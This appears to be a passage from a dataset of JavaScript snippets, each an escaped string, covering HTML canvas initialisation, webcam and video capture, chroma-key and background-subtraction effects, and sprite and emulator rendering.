canvas.style.height = \"100%\";\r\n canvas.style.background = 'black';\r\n canvas.style.marginLeft = 'auto';\r\n canvas.style.marginRight = 'auto';\r\n canvas.style.display = 'block';\r\n }","init() {\n if (this.canvas.getContext) {\n this.start();\n } else {\n canvas.textContent = 'Sorry canvas not suport';\n }\n }","function adaptElements() {\n const rect = document.body.getBoundingClientRect();\n const screenWidth = rect.width;\n const screenHeight = rect.height;\n const videoWidth = video.videoWidth;\n const videoHeight = video.videoHeight;\n const widthRatio = videoWidth / screenWidth;\n const heightRatio = videoHeight / screenHeight;\n const ratio = Math.min(widthRatio, heightRatio);\n // set image size and offset\n imageWidth = Math.floor(ratio * screenWidth + 0.5);\n imageHeight = Math.floor(ratio * screenHeight + 0.5);\n videoX = Math.max(0, Math.floor(0.5 * (videoWidth - imageWidth) + 0.5));\n videoY = Math.max(0, Math.floor(0.5 * (videoHeight - imageHeight) + 0.5));\n // adapt canvas size to input video size\n canvas.width = imageWidth;\n canvas.height = imageHeight;\n // adapt canvas size to screen\n image.width = screenWidth;\n image.height = screenHeight;\n // calculate video screen size and offset\n const videoScreenWidth = Math.floor(videoWidth / ratio + 0.5);\n const videoScreenHeight = Math.floor(videoHeight / ratio + 0.5);\n const videoScreenX = Math.floor(videoX / ratio + 0.5);\n const videoScreenY = Math.floor(videoY / ratio + 0.5);\n // resize and position video an screen\n video.width = videoScreenWidth;\n video.height = videoScreenHeight;\n video.style.left = `${-videoScreenX}px`;\n video.style.top = `${-videoScreenY}px`;\n // show live video\n resetVideo();\n }","static init(canvas){\r\n\r\n\r\n\t}","function playVideo(videoTimeline) {\n\n const timelineNode = videoTimeline.next\n const video = videoTimeline.data.videoCore\n const videoEndTime = videoTimeline.data.metadata.endTime\n \n loop = () => {\n if (!window.currentlyPlaying) {\n return\n }\n\n if (videoEndTime < video.currentTime + 0.01) {\n /* Pausing the current video if necessary */\n video.pause()\n\n if (timelineNode) {\n\n /* Setting the current switch value */\n if (timelineNode.data.metadata.ratio == 'fit') {\n window.currentRatio = 'fit'\n document.querySelector('.toogle-fit').click()\n } else if (timelineNode.data.metadata.ratio == 'strech') {\n window.currentRatio = 'strech'\n document.querySelector('.toogle-strech').click()\n }\n\n /* Starting next video from the beginning */\n timelineNode.data.videoCore.currentTime = timelineNode.data.metadata.startTime\n\n /* Updating the window.currentVideoSelectedForPlayback variable */\n window.currentVideoSelectedForPlayback = timelineNode\n\n /* Playing the next frame */\n playVideo(timelineNode)\n }\n } else {\n /* Updating the UI */\n renderUIAfterFrameChange(videoTimeline)\n\n /* Drawing at 30fps (1000 / 30 = 33,3333..)*/\n setTimeout(loop, 33.3333333) \n }\n }\n\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\n\n if (alpha1 < alpha2) {\n canvas.width = video.videoWidth + alpha1\n canvas.height = video.videoHeight\n } else {\n canvas.width = video.videoWidth\n canvas.height = video.videoHeight + alpha2\n }\n \n loop()\n video.play()\n}","function gStart() {\n\n // PREVENT DOUBLE CLICK FROM SELECTING THE CANVAS:\n\n var noSelectHTML = \"\"\n + \" \"\n ;\n var headElement = document.getElementsByTagName('head')[0];\n headElement.innerHTML = noSelectHTML + headElement.innerHTML;\n\n // ADD VIEWER ELEMENTS TO DOCUMENT\n\n var viewerHTML = \"\"\n\n + \" \"\n\n + \" \"\n +\n (isShowingRenderer\n ?\n \" \"\n + \" \"\n :\n \" \"\n + \" \"\n )\n\n + \" \"\n\n + \" \"\n\n + \" \"\n\n + \" \"\n\n + \" \"\n + \" \"\n + \" \"\n\n// + \" \"\n ;\n window.bodyElement = document.getElementsByTagName('body')[0];\n bodyElement.innerHTML = '' + viewerHTML + bodyElement.innerHTML + '';\n bodyElement.style.color = blackBackgroundColor;\n\n // SET ALL THE SCREEN-FILLING ELEMENTS TO THE SIZE OF THE SCREEN.\n\n slide.width = width();\n sketch_canvas.width = width();\n events_canvas.width = width();\n\n slide.height = height();\n sketch_canvas.height = height();\n events_canvas.height = height();\n\n background.width = width();\n background.height = height();\n background.style.backgroundColor = backgroundColor;\n\n // INITIALIZE THE SKETCH CANVAS\n\n sketch_canvas.animate = function(elapsed) { sketchPage.animate(elapsed); }\n sketch_canvas.overlay = function() { sketchPage.overlay(); }\n sketch_canvas.setup = function() {\n window.onbeforeunload = function(e) { sketchBook.onbeforeunload(e); }\n setPage(0);\n }\n\n events_canvas.keyDown = function(key) { e2s(); sketchPage.keyDown(key); }\n events_canvas.keyUp = function(key) { e2s(); sketchPage.keyUp(key); }\n events_canvas.mouseDown = function(x, y, z) { e2s(); sketchPage.mouseDown(x, y, z); }\n events_canvas.mouseDrag = function(x, y, z) { e2s(); sketchPage.mouseDrag(x, y, z); }\n events_canvas.mouseMove = function(x, y, z) { e2s(); sketchPage.mouseMove(x, y, z); }\n events_canvas.mouseUp = function(x, y, z) { e2s(); sketchPage.mouseUp (x, y, z); }\n\n fourStart();\n\n if (window['scene_div'] !== undefined) {\n scene_div.width = width();\n scene_div.height = height();\n var sceneElement = document.getElementById('scene_div');\n sceneElement.appendChild(renderer.domElement);\n }\n\n // SET SIZE OF WEBGL CANVAS\n\n webgl_canvas.width = width();\n webgl_canvas.height = height();\n\n // START WEBGL MODELER\n\n if (isPhone()) {\n sketchPadding *= 2;\n }\n\n lightTracker = new LightTracker(video_analysis_canvas);\n\n window.ctScene = new CT.Scene(webgl_canvas);\n ctScene.setLight(0, [ 1, 1, 1]);\n ctScene.setLight(1, [-1,-1,-1], [.1, .05, 0]);\n ctScene.setFOV(isPhone() ? PI / 2.5 : PI / 6);\n\n initCTPath();\n\n // START ALL CANVASES RUNNING\n\n var c = document.getElementsByTagName(\"canvas\");\n\n initEventHandlers(events_canvas);\n initSketchCanvas();\n\n // SET SIZE OF VIDEO CANVAS\n\n video_canvas.width = width();\n video_canvas.height = height();\n\n // server = new Server();\n // socket = server.connectSocket();\n\n midi = new Midi();\n\n document.title = 'Chalktalk';\n }","function init(options) {\n\t\t// sanity check\n\t\tif (!options) {\n\t\t\tthrow 'No options object provided';\n\t\t}\n\n\t\t// incoming options with defaults\n\t\tvideo = options.video || document.createElement('video');\n\t\tmotionCanvas = options.motionCanvas || document.createElement('canvas');\n\t\tcaptureIntervalTime = options.captureIntervalTime || 100;\n\t\tcaptureWidth = options.captureWidth || 640;\n\t\tcaptureHeight = options.captureHeight || 480;\n\t\tdiffWidth = options.diffWidth || 64;\n\t\tdiffHeight = options.diffHeight || 48;\n\t\tpixelDiffThreshold = options.pixelDiffThreshold || 32;\n\t\tscoreThreshold = options.scoreThreshold || 16;\n\t\tincludeMotionBox = options.includeMotionBox || false;\n\t\tincludeMotionPixels = options.includeMotionPixels || false;\n\n\t\t// callbacks\n\t\tinitSuccessCallback = options.initSuccessCallback || function() {};\n\t\tinitErrorCallback = options.initErrorCallback || function() {};\n\t\tstartCompleteCallback = options.startCompleteCallback || function() {};\n\t\tcaptureCallback = options.captureCallback || function() {};\n\n\t\t// non-configurable\n\t\tcaptureCanvas = document.createElement('canvas');\n\t\tdiffCanvas = document.createElement('canvas');\n\t\tisReadyToDiff = false;\n\n\t\t// prep video\n\t\tvideo.autoplay = true;\n\n\t\t// prep capture canvas\n\t\tcaptureCanvas.width = captureWidth;\n\t\tcaptureCanvas.height = captureHeight;\n\t\tcaptureContext = captureCanvas.getContext('2d');\n\n\t\t// prep diff canvas\n\t\tdiffCanvas.width = diffWidth;\n\t\tdiffCanvas.height = diffHeight;\n\t\tdiffContext = diffCanvas.getContext('2d');\n\n\t\t// prep motion canvas\n\t\tmotionCanvas.width = diffWidth;\n\t\tmotionCanvas.height = diffHeight;\n\t\tmotionContext = motionCanvas.getContext('2d');\n\n\t\trequestWebcam();\n\t}","initCanvas() { \n\t\tthis.canvas = document.getElementById(\"canvas\");\n\t\tthis.canvas.width = this.level.getNumBlocksRow * Block.SIZE + (2 * Sprite.SIDE_LR_WIDTH);\n\t\tthis.canvas.height = this.level.getNumBlocksColumn * Block.SIZE + (3 * Sprite.SIDE_TMD_HEIGHT) + Sprite.PANEL_HEIGHT;\n\t\tthis.ctx = this.canvas.getContext(\"2d\");\t\n\t}","constructor(sourceCanvas, resultCanvas) {\n this.source = sourceCanvas.getContext(\"2d\")\n this.result = resultCanvas.getContext(\"2d\")\n }","function CanvasInit(){\n context.fillStyle = 'white';\n context.fillRect(0,0,canvas.width, canvas.height);\n context.fillStyle = 'black';\n context.strokeStyle = 'black'\n setUpCanvas();\n clear();\n}","_initCanvas (canvas) {\n if (canvas) {\n this.canvas = canvas\n this.width = canvas.width\n this.height = canvas.height\n } else {\n this.canvas = document.createElement('canvas')\n this.canvas.width = this.width\n this.canvas.height = this.height\n this.canvas.style.width = '100%'\n this.canvas.style.height = '100%'\n this.canvas.style.imageRendering = 'pixelated'\n document.body.appendChild(this.canvas)\n }\n }","function Init() {\n // Get context handles\n CanvasHandle = document.getElementById(\"canvas\");\n CanvasHandle.width = ratioX * scale;\n CanvasHandle.height = ratioY * scale;\n ContextHandle = CanvasHandle.getContext(\"2d\");\n CanvasWidth = ContextHandle.canvas.clientWidth;\n CanvasHeight = ContextHandle.canvas.clientHeight;\n\n // Create an image backbuffer\n BackCanvasHandle = document.createElement(\"canvas\");\n BackContextHandle = BackCanvasHandle.getContext(\"2d\");\n BackCanvasHandle.width = CanvasWidth;\n BackCanvasHandle.height = CanvasHeight;\n\n // Set line style\n BackContextHandle.lineCap = \"butt\";\n BackContextHandle.lineJoin = \"round\";\n\n // Get the canvas center\n CenterX = CanvasWidth / 2;\n CenterY = CanvasHeight / 2;\n Camera = {x:0, y:0, z:1};\n}","set canvas(c){\n this._canvas = c ;\n if (c){\n this._context = c.getContext('2d') ;\n }\n }","function startVideo() {\n navigator.getUserMedia(\n { \n video: \n {\n //the ideal part is imp, it helps to get 16:9 ratio also\n height : { ideal : window.innerHeight } ,\n width : { ideal : window.innerWidth }\n } \n } ,\n stream => video.srcObject = stream,\n err => console.error(err)\n ) \n}","function initVideo() {\n log_d(\"Initializing the video subsystem\");\n\n var setVideoDev = function (devs) {\n log_d(\"Got video capture devices: \" + JSON.stringify(devs));\n var dev = '';\n $.each(devs, function (k, v) {\n dev = k;\n $('#webcamsSelect').append($(' '));\n });\n if (dev) {\n log_d(\"Using video capture device: \" + JSON.stringify(devs[dev]));\n window.configuredDevice = dev;\n service.setVideoCaptureDevice(CDO.createResponder(startLocalPreview), dev);\n } else {\n log_e(\"None video capture devices installed.\");\n }\n };\n log_d(\"Getting video capture devices\");\n service.getVideoCaptureDeviceNames(CDO.createResponder(setVideoDev));\n\n}","function demo(vid) {\n\tvar video = vid;\n\tvar demo = this;\n\tvar width = 640, height = 480;//can also use video.offsetHeight/video.offsetWidth but the value seems to change once the video actually starts.\n\tvar el = document.getElementById('demo-content');\n\t\n\tvar gui = new dat.GUI({ autoPlace: false });\n\tel.appendChild(gui.domElement);\n\t\n\tvar videoImageContext;\n\t\n\t//public variables:\n\tthis.mode = \"chromaKey\";\n\tgui.add(this, \"mode\", [\"Chroma Key\", \"Subtraction\", \"Fancy Method\"]);\n\t\n\tthis.bg_snapshot = function(){\n\t\tsnapshot();\n\t}\n\tgui.add(this, \"bg_snapshot\");\n\n\tinit();\n\t\n\tfunction init() {\n\t\tvideoImage = document.createElement( 'canvas' );\n\t\tvideoImage.width = width;\n\t\tvideoImage.height = height;\n\t\tel.appendChild( videoImage );\n\t\t\n\t\tvideoImageContext = videoImage.getContext( '2d' );\n\t\tvideoImageContext.scale(-1, 1);\n\t\tanimate();\n\t}\n\t\n\tfunction animate(){\n\t\trequestAnimationFrame( animate );\n\t\trender();\n\t}\n\t\n\tfunction drawImage(){\n\t\t//mirror the image using scale(-1, 1)\n\t\tvideoImageContext.drawImage(video, -width, 0, width, height);\n\t\t//videoImageContext.drawImage(video, 0, 0, width, height); //original method\n\t}\n\t\n\tfunction render(){\n\t\tif (video.readyState === video.HAVE_ENOUGH_DATA ){\n\t\t\tdrawImage();\n\t\t\tswitch (this.mode){\n\t\t\t\tcase 'Chroma Key':\n\t\t\t\t\tchromaKey();\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'Subtraction':\n\t\t\t\t\tsubtraction();\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'Fancy Method':\n\t\t\t\t\tfancy();\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tchromaKey();\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tvar color_ratio = 2.5, threshold = 40;\n\tfunction chromaKey() {\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\tvar l = frame.data.length / 4;\n\t\t\n\t\tfor (var i = 0; i < l; i++) {\n\t\t\tvar pos = i*4;\n\t\t\tvar r = frame.data[pos + 0];\n\t\t\tvar g = frame.data[pos + 1];\n\t\t\tvar b = frame.data[pos + 2];\n\t\t\tif (b>r && b>g && (b>r*color_ratio || b>g*color_ratio) && b > threshold){\n\t\t\t\tframe.data[pos + 0] = 255;\n\t\t\t\tframe.data[pos + 1] = 255;\n\t\t\t\tframe.data[pos + 2] = 255;\n\t\t\t\tframe.data[pos + 3] = 0;\n\t\t\t}\n\t\t}\n\t\t//renderer.clear();\n\t\tvideoImageContext.putImageData(frame, 0, 0);\n\t\t//videoImageContext.clearRect(0,0,50,50);\n\t}\n\t\n\tvar old_data = [], index = 0, buffer_length = 5, std_cutoff = 40;\n\tfunction fancy() {\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\told_data[index] = new Uint8ClampedArray(frame.data);\n\t\t\n\t\tvar current_buffer_size = old_data.length;\n\t\tvar l = frame.data.length / 4;\n\t\tfor (var i = 0; i < l; i++) {\n\t\t\tvar pos = i*4, mean = 0;\n\t\t\tfor (var j = 0; j < current_buffer_size; j++)\n\t\t\t\tmean += (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\n\t\t\tmean /= buffer_length;\n\t\t\t\n\t\t\tvar std = 0;\n\t\t\tfor (var j = 0; j < current_buffer_size; j++) {\n\t\t\t\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\n\t\t\t\tstd += Math.pow(color_avg - mean, 2);\n\t\t\t}\n\t\t\tstd = Math.sqrt(std);\n\t\t\t//console.log('std: ', std);\n\t\t\t\n\t\t\tif (std < std_cutoff){\n\t\t\t\t//frame.data[pos + 0] = 255;\n\t\t\t\t//frame.data[pos + 1] = 255;\n\t\t\t\t//frame.data[pos + 2] = 255;\n\t\t\t\tframe.data[pos + 3] = 0;\n\t\t\t}\n\t\t\t//frame.data[pos + 3] = Math.exp(std);\n\t\t}\n\t\t//renderer.clear();\n\t\tvideoImageContext.putImageData(frame, 0, 0);\n\t\t//videoImageContext.clearRect(0,0,50,50);\n\t\tindex = (index+1)%buffer_length;\n\t\t//console.log('index: ', index);\n\t}\n\t\n\tvar snapshot_data;\n\tfunction snapshot(){\n\t\tdrawImage();\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\tsnapshot_data = new Uint8ClampedArray(frame.data);\n\t}\n\t\n\tvar first = true, difference_threshold = 20, frame_length=0;\n\tfunction subtraction() {\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\tif (first) {\n\t\t\tsnapshot();\n\t\t\tfirst = false;\n\t\t\tframe_length = frame.data.length / 4;\n\t\t}\n\t\tfor (var i = 0; i < frame_length; i++) {\n\t\t\tvar pos = i*4, r = pos, g = pos+1, b = pos+2;\n\t\t\t\n\t\t\tvar difference = Math.sqrt((Math.pow(frame.data[r]-snapshot_data[r], 2) + Math.pow(frame.data[g]-snapshot_data[g], 2) + Math.pow(frame.data[b]-snapshot_data[b], 2))/3);\n\t\t\tif (difference < difference_threshold) {\n\t\t\t\tframe.data[pos + 3] = 0;\n\t\t\t}\n\t\t}\n\t\tvideoImageContext.putImageData(frame, 0, 0);\n\t}\n\t\n\t//var bin_images = [], bin_counts = [], total_bins = 5, curr_bins = 0, frame_length = 0;\n\t//function subtraction() {\n\t// var frame = videoImageContext.getImageData(0, 0, width, height);\n\t// if (curr_bins < bins) {\n\t//\t\tbin_images[curr_bins] = new Uint8ClampedArray(frame.data);\n\t//\t\tcurr_bins++;\n\t//\t\tframe_length = frame.data.length / 4;\n\t//\t}\n\t// for (var i = 0; i < frame_length; i++) {\n\t//\t\tvar pos = i*4, best_bin = 0, r = pos, g = pos+1, b = pos+2;\n\t//\t\t\n\t//\t\tvar min_idx = 0, min_val = -1;\n\t//\t\tfor (var j = 0; j < curr_bins; j++){\n\t//\t\t\tvar data = possible_backgrounds[j];\n\t//\t\t\tvar difference = Math.sqrt((Math.pow(frame.data[r]-data[r], 2) + Math.pow(frame.data[g]-data[g], 2) + Math.pow(frame.data[b]-data[b], 2))/3);\n\t//\t\t\tif (difference < max_val || min_val == -1) {\n\t//\t\t\t\tmax_val = difference;\n\t//\t\t\t\tmin_idx = j;\n\t//\t\t\t}\n\t//\t\t}\n\t//\t\t\n\t//\t\t\n\t//\t\tvar std = 0;\n\t//\t\tfor (var j = 0; j < buffer_length; j++) {\n\t//\t\t\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\n\t//\t\t\tstd += Math.pow(color_avg - mean, 2);\n\t//\t\t}\n\t//\t\tstd = Math.sqrt(std);\n\t//\t\t//console.log('std: ', std);\n\t//\t\t\n\t// if (std < std_cutoff){\n\t// //frame.data[pos + 0] = 255;\n\t// //frame.data[pos + 1] = 255;\n\t// //frame.data[pos + 2] = 255;\n\t// frame.data[pos + 3] = 0;\n\t// }\n\t//\t\t//frame.data[pos + 3] = Math.exp(std);\n\t// }\n\t// //renderer.clear();\n\t// videoImageContext.putImageData(frame, 0, 0);\n\t// //videoImageContext.clearRect(0,0,50,50);\n\t//\tindex = (index+1)%buffer_length;\n\t//\t//console.log('index: ', index);\n\t//}\n}","function canvasInit() {\n var canvas = document.getElementById(\"canvas\");\n if (canvas.getContext) {\n var ctx = canvas.getContext(\"2d\");\n ctx.fillStyle = '#444';\n ctx.font = '28px Arial';\n wrapText(ctx, \"← Start by entering a jsonline.com url on the left.\", 100, 25, 700, 50);\n step = 0;\n }\n}","function initEditorCanvas() {\n let canvas = document.getElementById('editorCanvas');\n // Resize the canvas.\n canvas.width = EDITOR_SCALE * CHR_WIDTH;\n canvas.height = EDITOR_SCALE * CHR_HEIGHT;\n\n let ctx = cmn.getContext2DNA(canvas);\n ctx.imageSmoothingEnabled = false;\n ctx.scale(EDITOR_SCALE, EDITOR_SCALE);\n\n // Canvas is white by default.\n ctx.fillStyle = 'black';\n ctx.fillRect(0, 0, CHR_WIDTH, CHR_HEIGHT);\n\n canvas.addEventListener('mousedown', function (me) { _mouseDown = true; onMouseMove(me); });\n canvas.addEventListener('mousemove', onMouseMove);\n canvas.addEventListener('mouseup', function (me) { _mouseDown = false; });\n canvas.addEventListener('mouseleave', function (me) { _mouseDown = false; });\n}","function init() {\n canvas = document.getElementById('can');\n ctx = canvas.getContext(\"2d\");\n}","function init() {\n // Put event listeners into place\n // Notice that in this specific case handlers are loaded on the onload event\n window.addEventListener('DOMContentLoaded', function() {\n // Grab elements, create settings, etc.\n var canvas = document.getElementById('canvas');\n var context = canvas.getContext('2d');\n var video = document.getElementById('video');\n var mediaConfig = {\n video: true,\n };\n var errBack = function(e) {\n console.log('An error has occurred!', e);\n };\n\n // Put video listeners into place\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n navigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\n video.srcObject = stream;\n video.onloadedmetadata = function(e) {\n video.play();\n };\n });\n }\n\n // Trigger photo take\n document.getElementById('snap').addEventListener('click', function() {\n context.drawImage(video, 0, 0, 640, 480);\n state.photoSnapped = true; // photo has been taken\n });\n\n // Trigger when upload button is pressed\n document.getElementById('upload').addEventListener('click', uploadImage);\n\n document.getElementById('search').addEventListener('click',searchPhoto);\n\n }, false);\n\n }","function main()\n{\n\t//Function to execute when a canvas is created:\n\tvar canvasLoaded = 0;\n\tvar onLoadCanvas = function()\n\t{\n\t\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\"Canvas '\" + this.getId() + \"' loaded! Mode used: \" + this.getMode()); }\n\n\t\tcanvasLoaded++;\n\n\t\t//Gets the \"context\" object to start working with the canvas:\n\t\tvar canvasContext = this.getContext();\n\t\tif (!canvasContext) { CB_console(\"ERROR: canvas context could not be obtained! Drawing cannot be performed.\"); return; }\n\n\t\t//Stores the canvas in the 'canvases' object:\n\t\tcanvases[this.getId()] = this;\n\n\t\t//If both canvas (normal and buffer) have been created, proceeds with the rendering:\n\t\tif (canvasLoaded >= 2)\n\t\t{\n\t\t\t//When the screen changes its size or its orientation, both canvases will be re-adapted:\n\t\t\tvar onResizeOrChangeOrientationTimeout = null;\n\t\t\tvar onResizeOrChangeOrientation = function()\n\t\t\t{\n\t\t\t\tclearTimeout(onResizeOrChangeOrientationTimeout);\n\t\t\t\tonResizeOrChangeOrientationTimeout = setTimeout //NOTE: needs a delay as some clients on iOS update the screen size information in two or more steps (last step is the correct value).\n\t\t\t\t(\n\t\t\t\t\tfunction()\n\t\t\t\t\t{\n\t\t\t\t\t\t//Resizes the canvas:\n\t\t\t\t\t\tcanvases[\"my_canvas\"].setWidth(CB_Screen.getWindowWidth());\n\t\t\t\t\t\tcanvases[\"my_canvas\"].setHeight(CB_Screen.getWindowHeight());\n\t\t\t\t\t\tcanvases[\"my_canvas\"].clear(); canvases[\"my_canvas\"].disableAntiAliasing();\n\t\t\t\t\t\t\n\t\t\t\t\t\t//Resizes the buffer canvas:\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].setWidth(CB_Screen.getWindowWidth());\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].setHeight(CB_Screen.getWindowHeight());\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].clear();\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].disableAntiAliasing();\n\t\t\t\t\t}\n\t\t\t\t);\n\t\t\t};\n\t\t\tCB_Screen.onResize(onResizeOrChangeOrientation);\n\n\t\t\t//Clears both canvas:\n\t\t\tcanvases[\"my_canvas\"].clear();\n\t\t\tcanvases[\"my_canvas_buffer\"].clear();\n\t\t\t\n\t\t\t//Disables anti-aliasing to avoid problems with adjacent sprites:\n\t\t\tcanvases[\"my_canvas\"].disableAntiAliasing();\n\t\t\tcanvases[\"my_canvas_buffer\"].disableAntiAliasing();\n\t\t\t\n\t\t\t//Creates the sprites groups:\n\t\t\tvar graphicSpritesSceneObject = createSpritesGroups();\n\n\t\t\t//Caches all needed images (performance purposes) and starts rendering sprites groups when all are loaded:\n\t\t\tmyREM = new CB_REM();\n\t\t\tmyREM.cacheImages\n\t\t\t(\n\t\t\t\tgraphicSpritesSceneObject, //CB_GraphicSpritesSceneObject.\n\t\t\t\tundefined, //reload.\n\t\t\t\tfunction(imagesLoaded) //onLoad.\n\t\t\t\t{\n\t\t\t\t\t//Sets the current time as the start time to start counting the FPS (erased each second automatically):\n\t\t\t\t\tmyREM._startTimeFPS = CB_Device.getTiming();\n\n\t\t\t\t\t//Show the FPS (Frames Per Second) every time there is a new value:\n\t\t\t\t\tmyREM.onUpdatedFPS(function(FPS) { graphicSpritesSceneObject.getById(\"fps_group\").getById(\"fps\").src = \"FPS: \" + FPS; });\n\t\t\t\t\t\n\t\t\t\t\t//Processes the sprites groups:\n\t\t\t\t\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\"Starts processing graphic sprites scene ('CB_GraphicSpritesScene' object) constantly...\"); }\n\t\t\t\t\t\n\t\t\t\t\tprocessSpritesGroups(graphicSpritesSceneObject, canvases[\"my_canvas\"], canvases[\"my_canvas\"].getContext(), canvases[\"my_canvas_buffer\"], canvases[\"my_canvas_buffer\"].getContext());\n\t\t\t\t}\n\t\t\t);\n\t\t}\n\t};\n\t\n\t//Creates the canvases:\n\tvar canvases = {};\n\tcanvases[\"my_canvas\"] = new CB_Canvas\n\t(\n\t\t\"my_canvas\", //canvasId. Unique required parameter.\n\t\t\"2d\", //contextType. NOTE: some emulation methods only support \"2d\". Default: \"2d\".\n\t\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\n\t\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\n\t\tonLoadCanvas, //onLoad.\n\t\tfunction(error) { CB_console(\"Canvas object problem! Error: \" + error); }, //onError.\n\t\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\n\t);\n\tcanvases[\"my_canvas_buffer\"] = new CB_Canvas\n\t(\n\t\t\"my_canvas_buffer\", //canvasId. Unique required parameter.\n\t\t\"2d\", //contextType. NOTE: some emulation methods only support \"2d\". Default: \"2d\".\n\t\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\n\t\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\n\t\tonLoadCanvas, //onLoad.\n\t\tfunction(error) { CB_console(\"Canvas object problem! Error: \" + error); }, //onError.\n\t\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\n\t);\n}","function initializeCanvas() {\n\tcanvas = document.getElementById(\"canvas\");\n\tctx = canvas.getContext(\"2d\");\n}","init() {\n const canvas = document.createElement('canvas');\n\n canvas.style.display = 'none';\n canvas.style.position = 'fixed';\n canvas.style.top = '0px';\n canvas.style.left = '0px';\n canvas.style.zIndex = '1000000';\n this.canvas = canvas;\n\n this.context = canvas.getContext('2d');\n\n document.body.appendChild(canvas);\n\n window.addEventListener('resize', (event) => this.resize());\n\n // UI events\n window.addEventListener('mousemove', (event) => this.mouseMove(event));\n window.addEventListener('mouseup', (event) => this.mouseUp(event));\n window.addEventListener('mousedown', (event) => this.mouseDown(event));\n window.addEventListener('keydown', (event) => this.keyDown(event));\n\n this.resize();\n }","function Init() {\r\n // Get context handles\r\n CanvasHandle = document.getElementById(\"canvas\");\r\n ContextHandle = CanvasHandle.getContext(\"2d\");\r\n CanvasWidth = ContextHandle.canvas.clientWidth;\r\n CanvasHeight = ContextHandle.canvas.clientHeight;\r\n\r\n // Create an image backbuffer\r\n BackCanvasHandle = document.createElement(\"canvas\");\r\n BackContextHandle = BackCanvasHandle.getContext(\"2d\");\r\n BackCanvasHandle.width = CanvasWidth;\r\n BackCanvasHandle.height = CanvasHeight;\r\n\r\n // Set line style\r\n BackContextHandle.lineCap = \"butt\";\r\n BackContextHandle.lineJoin = \"round\";\r\n BackContextHandle.strokeStyle = \"rgb(255, 255, 255)\";\r\n\r\n // Get the canvas center\r\n CenterX = CanvasWidth / 2;\r\n CenterY = CanvasHeight / 2;\r\n Camera = {x:0, y:0, r:20};\r\n}","function init() {\n redrawTIAIndicator = true;\n usePhosphor = false;\n phosphorBlendPercent = JsVideoConsts.DEFAULT_PHOSPHOR_BLEND;\n\n // Allocate buffers for two frame buffers\n jsvideo.currentFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\n previousFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\n initBackBuffer(JsVideoConsts.DEFAULT_WIDTH, JsVideoConsts.DEFAULT_HEIGHT);\n initPalettes();\n loadImages();\n jsvideo.initialize();\n }","function video() {\n\t\t$('#wrapper').fitVids();\n\t}","function paintToCanvas() {\n // first we need the width and height\n const width = video.videoWidth;\n const height = video.videoHeight;\n // make sure now that the canvas is the same size as the video before we paint into it\n canvas.width = width;\n canvas.height = height;\n\n // now ever x seconds we're going to snap a picture\n setInterval(() => {\n ctx.drawImage(video, 0, 0, width, height); // paint with the video, starting at the left top of the canvas, with the width and height specified above;\n // take the pixels out\n let pixels = ctx.getImageData(0, 0, width, height); // we get an array of millions of pixel values with each one it's own color value\n // messing with the pixels\n //pixels = redEffect(pixels); // the function redEffect is all the way down below\n pixels = rgbSplit(pixels); // I'm choosing to play with this one instead of the two other functions\n ctx.globalAlpha = 0.8;\n //pixels = greenScreen(pixels);\n // putting the pixels back back\n ctx.putImageData(pixels, 0, 0);\n }, 16); // here every 16 milliseconds a picture is taken from the video\n}","function initCanvas() {\n if(isDebugged) {\n debug.style.display = \"block\";\n } else {\n debug.style.display = \"none\";\n }\n\n console.log(\"initializing canvas\");\n\n //var canvasElement = document.querySelector(\"#canvas\");\n canvas = new fabric.Canvas(\"canvas\",{\n selection: false,\n height: canvas_initial_height,\n width: canvas_initial_width,\n backgroundColor: canvas_background_color\n });\n\n //canvas.isDrawingMode = true;\n\n canvas.on(\"mouse:down\", onMouseDownCanvas);\n\n canvas.on(\"mouse:up\", onMouseUpCanvas);\n\n canvas.on(\"mouse:move\", onMouseMoveCanvas);\n\n //updateAndSyncCanvasSize(canvas_initial_width, canvas_initial_height);\n}","function setupMedia() {\n if (supportsMedia()) {\n audioContext = new AudioContext();\n\n navigator.getUserMedia(\n {\n video: false,\n audio: true\n },\n function (localMediaStream) {\n // map the camera\n var video = document.getElementById('live_video');\n video.src = window.URL.createObjectURL(localMediaStream);\n\n // create the canvas & get a 2d context\n videoCanvas = document.createElement('canvas');\n videoContext = videoCanvas.getContext('2d');\n\n // setup audio recorder\n var audioInput = 